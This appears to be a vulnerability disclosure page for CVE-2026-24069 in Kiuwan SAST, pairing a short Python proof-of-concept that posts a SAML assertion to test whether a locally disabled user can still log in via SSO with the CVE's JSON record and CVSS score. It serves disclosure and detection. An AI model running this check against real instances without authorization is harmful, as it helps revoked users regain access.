CVE-2026-24069

# PoC Concept for CVE-2026-24069: SSO Login Bypass for Disabled Users # This script simulates an SSO login attempt. # If the server fails to check local status, access is granted. import requests def check_sso_bypass(target_url, sso_token, disabled_user_email): """ Attempt to login via SSO using a token for a locally disabled user. """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "CVE-2026-24069-Scanner" } # Simulate the SSO assertion payload sent to the ACS endpoint payload = { "SAMLResponse": sso_token, "RelayState": "/home" } print(f"[*] Attempting SSO login for disabled user: {disabled_user_email}") try: response = requests.post(target_url, data=payload, headers=headers, allow_redirects=False) # Check if server sets a session cookie or redirects to dashboard if response.status_code == 302 and "/home" in response.headers.get('Location', ''): print("[+] Vulnerability confirmed! Access granted to disabled user.") return True elif "dashboard" in response.text: print("[+] Vulnerability confirmed! Access granted to disabled user.") return True else: print("[-] Access denied or login failed.") return False except Exception as e: print(f"[!] Error during request: {e}") return False # Example usage # target = "https://kiuwan-instance.com/saml/SSO/alias/defaultAlias" # token = "...base64_encoded_saml_assertion..." # check_sso_bypass(target, token, "[email protected]")

{"cve": {"id": "CVE-2026-24069", "sourceIdentifier": "551230f0-3615-47bd-b7cc-93e92e730bbf", "published": "2026-04-14T12:16:20.247", "lastModified": "2026-04-17T15:24:57.753", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kiuwan SAST improperly authorizes SSO logins for locally disabled mapped user accounts, allowing disabled users to continue accessing the application. Kiuwan Cloud was affected, and Kiuwan SAST on-premise (KOP) was affected before 2.8.2509.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "551230f0-3615-47bd-b7cc-93e92e730bbf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://r.sec-consult.com/kiuwanlock", "source": "551230f0-3615-47bd-b7cc-93e92e730bbf"}, {"url": "http://seclists.org/fulldisclosure/2026/Apr/5", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}